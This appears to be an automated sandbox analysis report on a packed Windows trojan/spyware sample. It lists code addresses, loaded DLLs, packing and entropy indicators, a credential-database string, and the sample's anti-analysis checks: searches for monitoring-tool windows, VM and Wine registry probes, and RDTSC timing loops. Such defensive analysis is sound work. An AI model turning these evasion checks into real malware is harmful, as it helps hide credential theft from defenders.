Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0088D2D6	0_2_0088D2D6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EF2F8	0_2_007EF2F8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008BF218	0_2_008BF218
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C322D	0_2_008C322D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084D22E	0_2_0084D22E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008A923F	0_2_008A923F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00863247	0_2_00863247
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008AF249	0_2_008AF249
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00833262	0_2_00833262
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B1266	0_2_008B1266
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086B273	0_2_0086B273
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086127C	0_2_0086127C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00857384	0_2_00857384
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089739B	0_2_0089739B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084B397	0_2_0084B397
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DB39B	0_2_008DB39B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008993BE	0_2_008993BE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EF330	0_2_007EF330
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0081F3E2	0_2_0081F3E2
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007E7300	0_2_007E7300
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087D31B	0_2_0087D31B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008CD326	0_2_008CD326
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007E93D0	0_2_007E93D0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00845332	0_2_00845332
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007B73C0	0_2_007B73C0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EF3C0	0_2_007EF3C0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DF34C	0_2_008DF34C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00825340	0_2_00825340
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00811346	0_2_00811346
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C9355	0_2_008C9355
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0085D494	0_2_0085D494
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007EF450	0_2_007EF450
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B94CB	0_2_008B94CB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008194C4	0_2_008194C4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008714CF	0_2_008714CF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008574F5	0_2_008574F5
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00817411	0_2_00817411
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00811419	0_2_00811419
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087941A	0_2_0087941A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00869436	0_2_00869436
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082B434	0_2_0082B434
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082D44B	0_2_0082D44B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D74A5	0_2_007D74A5
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087745E	0_2_0087745E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00895452	0_2_00895452
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089B46A	0_2_0089B46A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082558E	0_2_0082558E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C15A7	0_2_008C15A7
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008D95A6	0_2_008D95A6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008515B6	0_2_008515B6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008CF5B3	0_2_008CF5B3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008A35C8	0_2_008A35C8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C75C7	0_2_008C75C7
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007CD530	0_2_007CD530
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0097D5C4	0_2_0097D5C4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B55E2	0_2_008B55E2
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007E150E	0_2_007E150E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0081B5FF	0_2_0081B5FF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00827510	0_2_00827510
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00813515	0_2_00813515
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008D3519	0_2_008D3519
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089F51E	0_2_0089F51E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0085351C	0_2_0085351C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086D51A	0_2_0086D51A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C3520	0_2_008C3520
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00981537	0_2_00981537
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00855534	0_2_00855534
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0083154F	0_2_0083154F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082356D	0_2_0082356D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00825698	0_2_00825698
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B7690	0_2_008B7690
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008936AE	0_2_008936AE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008856A4	0_2_008856A4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008496BE	0_2_008496BE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DD6B7	0_2_008DD6B7
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008276BC	0_2_008276BC
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008D36CE	0_2_008D36CE
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008A96C6	0_2_008A96C6
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082D6FF	0_2_0082D6FF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0083F605	0_2_0083F605
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089D60F	0_2_0089D60F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0089B607	0_2_0089B607
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DB612	0_2_008DB612
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082F63D	0_2_0082F63D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0083D659	0_2_0083D659
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008BF66E	0_2_008BF66E
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084B66B	0_2_0084B66B
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00833677	0_2_00833677
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00987660	0_2_00987660
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008AF677	0_2_008AF677
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00835792	0_2_00835792
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082579D	0_2_0082579D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_009917B4	0_2_009917B4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008997CB	0_2_008997CB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008957D1	0_2_008957D1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087F7DB	0_2_0087F7DB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086D7E0	0_2_0086D7E0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008857F8	0_2_008857F8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008737F0	0_2_008737F0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00837714	0_2_00837714
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082971F	0_2_0082971F
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00861725	0_2_00861725
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007D37D0	0_2_007D37D0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_007DF7BC	0_2_007DF7BC
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0082B74A	0_2_0082B74A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008C975D	0_2_008C975D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008B9779	0_2_008B9779
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0087D773	0_2_0087D773
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008AB770	0_2_008AB770
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0088D889	0_2_0088D889
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0084188C	0_2_0084188C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008DB89C	0_2_008DB89C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00891897	0_2_00891897

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: String function: 007B7EE0 appears 44 times
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: String function: 007C4110 appears 83 times

Source: x6VtGfW26X.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: x6VtGfW26X.exe	Static PE information: Section: ZLIB complexity 0.9999421772203947
Source: x6VtGfW26X.exe	Static PE information: Section: yojtimdr ZLIB complexity 0.994666870701256

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Code function: 0_2_007E26E4 CoCreateInstance,

0_2_007E26E4

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: x6VtGfW26X.exe, 00000000.00000003.1726865836.00000000059A5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: x6VtGfW26X.exe	Virustotal: Detection: 58%
Source: x6VtGfW26X.exe	ReversingLabs: Detection: 65%

Source: x6VtGfW26X.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

File read: C:\Users\user\Desktop\x6VtGfW26X.exe

Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: x6VtGfW26X.exe

Static file information: File size 1883648 > 1048576

Source: x6VtGfW26X.exe

Static PE information: Raw size of yojtimdr is bigger than: 0x100000 < 0x1a2000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Unpacked PE file: 0.2.x6VtGfW26X.exe.7b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yojtimdr:EW;yoycphiu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yojtimdr:EW;yoycphiu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: x6VtGfW26X.exe

Static PE information: real checksum: 0x1d8db2 should be: 0x1d745f

Source: x6VtGfW26X.exe	Static PE information: section name:
Source: x6VtGfW26X.exe	Static PE information: section name: .idata
Source: x6VtGfW26X.exe	Static PE information: section name:
Source: x6VtGfW26X.exe	Static PE information: section name: yojtimdr
Source: x6VtGfW26X.exe	Static PE information: section name: yoycphiu
Source: x6VtGfW26X.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008097C5 push 62EDCC08h; mov dword ptr [esp], ebp	0_2_00809DBD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00809E5E push 1373E58Bh; mov dword ptr [esp], esi	0_2_0080A0BF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00809E5E push edi; mov dword ptr [esp], eax	0_2_0080A0C3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080C084 push 3FF8BC2Bh; mov dword ptr [esp], edi	0_2_0080E562
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008080A2 push eax; mov dword ptr [esp], ebp	0_2_008080C4
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080C0E6 push ebx; mov dword ptr [esp], esi	0_2_0080CA22
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080801B push edx; mov dword ptr [esp], ebp	0_2_008096F0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080801B push 62EDCC08h; mov dword ptr [esp], ebp	0_2_00809DBD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080E022 push ebx; mov dword ptr [esp], 77B6151Fh	0_2_0080E025
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080E022 push 6FD82661h; mov dword ptr [esp], esi	0_2_0080E039
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080804B push edi; mov dword ptr [esp], ebx	0_2_00808195
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080C059 push 773B48C2h; mov dword ptr [esp], edi	0_2_0080D498
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0080C059 push eax; mov dword ptr [esp], 1F2D2FC7h	0_2_0080D4A3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008221A2 push edx; mov dword ptr [esp], 62F0D63Ah	0_2_008225EF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008221A2 push edi; mov dword ptr [esp], eax	0_2_00822604
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008221A2 push esi; mov dword ptr [esp], edx	0_2_008226E0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008681AE push 4B974C83h; mov dword ptr [esp], esp	0_2_0086867C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008681AE push 3CE376FCh; mov dword ptr [esp], esi	0_2_00868765
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008681AE push eax; mov dword ptr [esp], 4FEFFF69h	0_2_00868833
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008681AE push 481447D1h; mov dword ptr [esp], esi	0_2_008688CD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_008101A8 push 0C6F1046h; mov dword ptr [esp], ecx	0_2_008101BA
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00A5C188 push 062653DBh; mov dword ptr [esp], edi	0_2_00A5C235
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00A5C188 push 68AC788Dh; mov dword ptr [esp], ebx	0_2_00A5C255
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_00A2E1F4 push 44E3E9D3h; mov dword ptr [esp], esi	0_2_00A2E227
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push 704AEB1Ah; mov dword ptr [esp], ecx	0_2_0086C57D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push edi; mov dword ptr [esp], eax	0_2_0086C586
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push esi; mov dword ptr [esp], edx	0_2_0086C592
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push esi; mov dword ptr [esp], esp	0_2_0086C645
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push ebx; mov dword ptr [esp], eax	0_2_0086C673
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push eax; mov dword ptr [esp], 6DB23632h	0_2_0086C6CF
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 0_2_0086C1E3 push ecx; mov dword ptr [esp], ebp	0_2_0086C778

Source: x6VtGfW26X.exe	Static PE information: section name: entropy: 7.982000691785383
Source: x6VtGfW26X.exe	Static PE information: section name: yojtimdr entropy: 7.953909419587561

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 997417 second address: 99741D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9968BB second address: 9968C7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6C4EBA07Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9968C7 second address: 9968F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jnc 00007FA6C4CAD506h 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007FA6C4CAD514h 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9968F5 second address: 9968FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA6C4EBA076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9968FF second address: 99691B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD518h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 996D43 second address: 996D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 ja 00007FA6C4EBA07Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 996D52 second address: 996D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 996D56 second address: 996D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA6C4EBA07Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998618 second address: 998622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA6C4CAD506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998622 second address: 998626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998626 second address: 998675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FA6C4CAD50Ah 0x00000010 jmp 00007FA6C4CAD50Bh 0x00000015 popad 0x00000016 jmp 00007FA6C4CAD510h 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jmp 00007FA6C4CAD511h 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 998675 second address: 99868F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 99868F second address: 998699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA6C4CAD506h 0x0000000a rdtsc
